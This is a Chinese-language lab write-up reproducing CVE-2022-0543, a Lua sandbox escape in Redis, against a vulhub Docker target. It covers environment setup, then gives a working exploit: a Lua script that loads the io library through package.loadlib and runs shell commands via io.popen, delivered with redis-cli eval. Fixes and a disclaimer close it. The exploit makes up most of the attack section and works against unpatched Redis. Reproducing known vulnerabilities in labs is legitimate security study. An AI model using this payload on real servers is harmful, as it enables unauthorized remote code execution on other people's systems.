漏洞概述

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

漏洞复现

靶机

使用vilhub靶场

安装完成后我们进入到对应目录:如:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build
docker-compose up -d

运行完docker-compose后,打开我们的redis就是我们的漏洞环境啦

攻击机

打开我们的redis就是我们的漏洞环境啦也可以用同一台机器复现

redis-cli -h 127.0.0.1 -p 6379

详细过程:

使用redis-cli需要先安装redis-tools,若安装redis-tools显示不成功的话,如图:

需要更换kali源并进行更新升级:

vim /etc/apt/sources.list.d/docker.list

添加阿里云

apt-get update && apt-get upgrade

之后安装

apt install redis-tools

之后

redis-cli -h 192.168.xxx.xx2

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

连接redis,使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /etc/", "r"); local res = f:read("*a"); f:close(); return res' 0

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

到这我们就可以执行命令了。

正式修复方案:Lua 初始化的末尾添加package=nil 

临时修复方案:关闭服务

 

参考:

CVE-2022-0543(redis沙盒逃逸)详细漏洞复现_救救直男吧!的博客-CSDN博客_cve漏洞复现

 

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐